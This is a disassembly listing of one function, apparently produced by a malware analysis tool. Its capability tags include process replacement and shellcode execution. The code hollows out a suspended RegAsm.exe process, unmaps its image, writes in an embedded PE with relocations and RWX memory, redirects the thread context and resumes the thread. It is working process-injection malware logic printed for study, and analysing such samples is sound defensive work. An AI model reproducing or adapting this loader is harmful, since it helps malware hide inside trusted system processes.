Function at 0x180001260
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Inspect section memory permissions
Resume thread
Use process replacement

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x518]
sub rsp, 0x618
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xor eax, eax
lea rcx, [rbp - 0x50]
xor edx, edx
lea r8d, [rax + 0x68]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
call fcn.180005280
xor r12d, r12d
lea rax, [rsp + 0x60]
lea rcx, str.C:WindowsMicrosoft.NETFramework64_v4.0.30319RegAsm.exe
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rbp - 0x50], 0x68
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x18000130c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_CreateProcessA__code___d_n
mov edx, eax
call fcn.180001de8
xor eax, eax
jmp 0x18000196d
xor ecx, ecx
mov edx, 0x4000
mov r8d, 0x3000
lea r9d, [rcx + 4]
mov qword [rsp + 0x600], r15
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x180001352
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_VirtualAlloc__code___d_n
mov edx, eax
call fcn.180001de8
xor eax, eax
jmp 0x180001965
mov qword [rsp + 0x638], rsi
lea rcx, [0x1800165c0]
mov edx, 0x80
mov qword [rsp + 0x608], r14
nop
movups xmm0, xmmword [rcx]
lea rax, [rax + 0x80]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rax - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x10], xmm1
dec rdx
jne 0x180001370
movsxd r14, dword [r15 + 0x3c]
lea rcx, [rbp + 0x20]
mov r8d, 0x4d0
add r14, r15
mov rsi, qword [r14 + 0x30]
mov qword [rbp - 0x70], rsi
call fcn.180005280
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x50], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x180001415
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_GetThreadContext__code___d_n
mov edx, eax
call fcn.180001de8
xor eax, eax
jmp 0x180001955
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x640], rdi
mov rdi, qword [rbp + 0xa8]
lea rax, [rbp - 0x58]
mov qword [rsp + 0x610], r13
add rdi, 0x10
mov r13d, 8
lea r8, [rbp - 0x68]
mov rdx, rdi
mov r9d, r13d
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x180001477
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_ReadProcessMemory__0x_x__code___d_n
mov rdx, rdi
mov r8d, eax
call fcn.180001de8
xor eax, eax
jmp 0x180001945
mov qword [rsp + 0x630], rbx
mov rbx, qword [rbp - 0x68]
cmp rbx, rsi
jne 0x1800014ce
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x60]
mov rdx, rbx
call rax
test eax, eax
je 0x1800014ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_NtUnmapViewOfSection__code___d_n
mov edx, eax
call fcn.180001de8
xor eax, eax
jmp 0x18000193d
mov r8d, dword [r14 + 0x50]
mov rcx, qword [rsp + 0x60]
mov r9d, 0x3000
mov rdx, rsi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x180001549
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x18000152e
mov r8d, dword [r14 + 0x50]
mov rcx, qword [rsp + 0x60]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x180001549
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_VirtualAllocEx__code___d_n
mov edx, eax
call fcn.180001de8
xor eax, eax
jmp 0x18000193d
cmp rbx, rax
je 0x180001575
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x78]
lea r8, [rsp + 0x50]
mov r9, r13
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001920
mov edi, 2
mov word [r14 + 0x5c], di
mov rcx, qword [rsp + 0x50]
cmp rcx, rsi
je 0x180001733
test byte [r14 + 0x16], 1
je 0x1800015a7
lea rcx, str.Cannot_relocate_the_PE_because_the_relocation_table_is_stripped_n
call fcn.180001de8
xor eax, eax
jmp 0x18000193d
movzx ebx, word [r14 + 0x14]
movzx r10d, word [r14 + 6]
mov qword [r14 + 0x30], rcx
mov r9d, dword [r14 + 0xb0]
add rbx, r14
mov r11d, r12d
mov edx, r12d
test r10d, r10d
je 0x180001608
nop word [rax + rax]
mov eax, edx
lea rcx, [rax + rax*4]
mov r8d, dword [rbx + rcx*8 + 0x24]
cmp r9d, r8d
jb 0x1800015ec
mov ecx, dword [rbx + rcx*8 + 0x20]
add ecx, r8d
cmp r9d, ecx
jb 0x1800015f5
inc edx
cmp edx, r10d
jb 0x1800015d0
jmp 0x180001608
mov eax, edx
lea rcx, [rax + rax*4]
mov r11d, dword [rbx + rcx*8 + 0x2c]
sub r11d, dword [rbx + rcx*8 + 0x24]
add r11d, r9d
mov eax, dword [r14 + 0xb4]
mov ecx, r11d
mov r13d, r12d
add rcx, r15
mov dword [rsp + 0x7c], eax
mov dword [rsp + 0x58], r12d
mov qword [rbp - 0x78], rcx
test eax, eax
je 0x180001728
mov edx, 0xfff
mov r15d, r13d
add r15, rcx
mov eax, dword [r15 + 4]
lea rdi, [r15 + 8]
sub rax, 8
shr rax, 1
test eax, eax
je 0x18000170b
mov r13, qword [rbp - 0x70]
mov esi, eax
nop word [rax + rax]
movzx ecx, word [rdi]
movzx eax, cx
and cx, dx
shr ax, 0xc
cmp ax, 3
je 0x180001679
cmp ax, 0xa
jne 0x1800016f5
movzx r11d, word [r14 + 0x14]
movzx r10d, word [r14 + 6]
movzx r9d, cx
add r9d, dword [r15]
add r11, r14
mov ebx, r12d
mov eax, r12d
test r10d, r10d
je 0x1800016d9
nop dword [rax + rax]
mov ecx, eax
lea rdx, [rcx + rcx*4]
mov r8d, dword [r11 + rdx*8 + 0x24]
cmp r9d, r8d
jb 0x1800016bd
mov edx, dword [r11 + rdx*8 + 0x20]
add edx, r8d
cmp r9d, edx
jb 0x1800016c6
inc eax
cmp eax, r10d
jb 0x1800016a0
jmp 0x1800016d9
mov ecx, eax
lea rax, [rcx + rcx*4]
mov ebx, dword [r11 + rax*8 + 0x2c]
sub ebx, dword [r11 + rax*8 + 0x24]
add ebx, r9d
mov edx, ebx
add rdx, qword [rbp - 0x80]
sub qword [rdx], r13
mov rcx, qword [rdx]
mov rax, qword [rsp + 0x50]
add rcx, rax
mov qword [rdx], rcx
mov edx, 0xfff
add rdi, 2
dec rsi
jne 0x180001660
mov r13d, dword [rsp + 0x58]
mov rcx, qword [rbp - 0x78]
add r13d, dword [r15 + 4]
mov dword [rsp + 0x58], r13d
cmp r13d, dword [rsp + 0x7c]
jb 0x180001632
mov r15, qword [rbp - 0x80]
mov edi, 2
mov rcx, qword [rsp + 0x50]
mov r13d, 8
mov eax, dword [r14 + 0x28]
lea rdx, [rbp + 0x20]
add rax, rcx
mov rcx, qword [rsp + 0x68]
mov qword [rbp + 0xa0], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x18000176f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_SetThreadContext__code___d_n
mov edx, eax
call fcn.180001de8
xor eax, eax
jmp 0x18000193d
mov r9d, dword [r14 + 0x54]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x60]
mov r8, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001920
mov r8d, dword [r14 + 0x54]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x78]
mov r9d, edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180001908
movsxd rax, dword [r15 + 0x3c]
cmp r12w, word [r14 + 6]
jae 0x1800018e0
lea rbx, [r15 + 0x12c]
add rbx, rax
nop dword [rax]
mov edx, dword [rbx - 0x18]
mov r8d, dword [rbx - 0x10]
mov r9d, dword [rbx - 0x14]
add rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x60]
add r8, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001920
movzx eax, word [r14 + 6]
mov r10d, dword [rbx - 0x18]
dec eax
cmp r12d, eax
jne 0x180001825
mov edx, dword [r14 + 0x50]
jmp 0x180001828
mov edx, dword [rbx + 0x10]
mov eax, dword [rbx]
sub edx, r10d
mov ecx, eax
and ecx, 0x20000000
je 0x180001849
bt eax, 0x1e
jae 0x180001849
test eax, eax
jns 0x180001849
mov r9d, 0x40
jmp 0x1800018a7
test ecx, ecx
je 0x18000186b
bt eax, 0x1e
jae 0x18000185b
mov r9d, 0x20
jmp 0x1800018a7
test ecx, ecx
je 0x18000186b
test eax, eax
jns 0x18000186b
mov r9d, 0x80
jmp 0x1800018a7
mov r8d, eax
and r8d, 0x40000000
je 0x180001883
test eax, eax
jns 0x180001883
mov r9d, 4
jmp 0x1800018a7
test ecx, ecx
je 0x18000188f
mov r9d, 0x10
jmp 0x1800018a7
test r8d, r8d
je 0x180001899
mov r9d, edi
jmp 0x1800018a7
bt eax, 0x1f
mov r9d, 1
cmovb r9d, r13d
mov rcx, qword [rsp + 0x60]
mov r8d, edx
mov edx, r10d
add rdx, qword [rsp + 0x50]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180001908
movzx eax, word [r14 + 6]
inc r12d
add rbx, 0x28
cmp r12d, eax
jl 0x1800017e0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x180001938
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_ResumeThread__code___d_n
mov edx, eax
call fcn.180001de8
xor eax, eax
jmp 0x18000193d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_VirtualProtectEx__code___d_n
mov edx, eax
call fcn.180001de8
xor eax, eax
jmp 0x18000193d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_WriteProcessMemory__code___d_n
mov edx, eax
call fcn.180001de8
xor eax, eax
jmp 0x18000193d
mov eax, 1
mov rbx, qword [rsp + 0x630]
mov r13, qword [rsp + 0x610]
mov rdi, qword [rsp + 0x640]
mov rsi, qword [rsp + 0x638]
mov r14, qword [rsp + 0x608]
mov r15, qword [rsp + 0x600]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.180001db0
add rsp, 0x618
pop r12
pop rbp
ret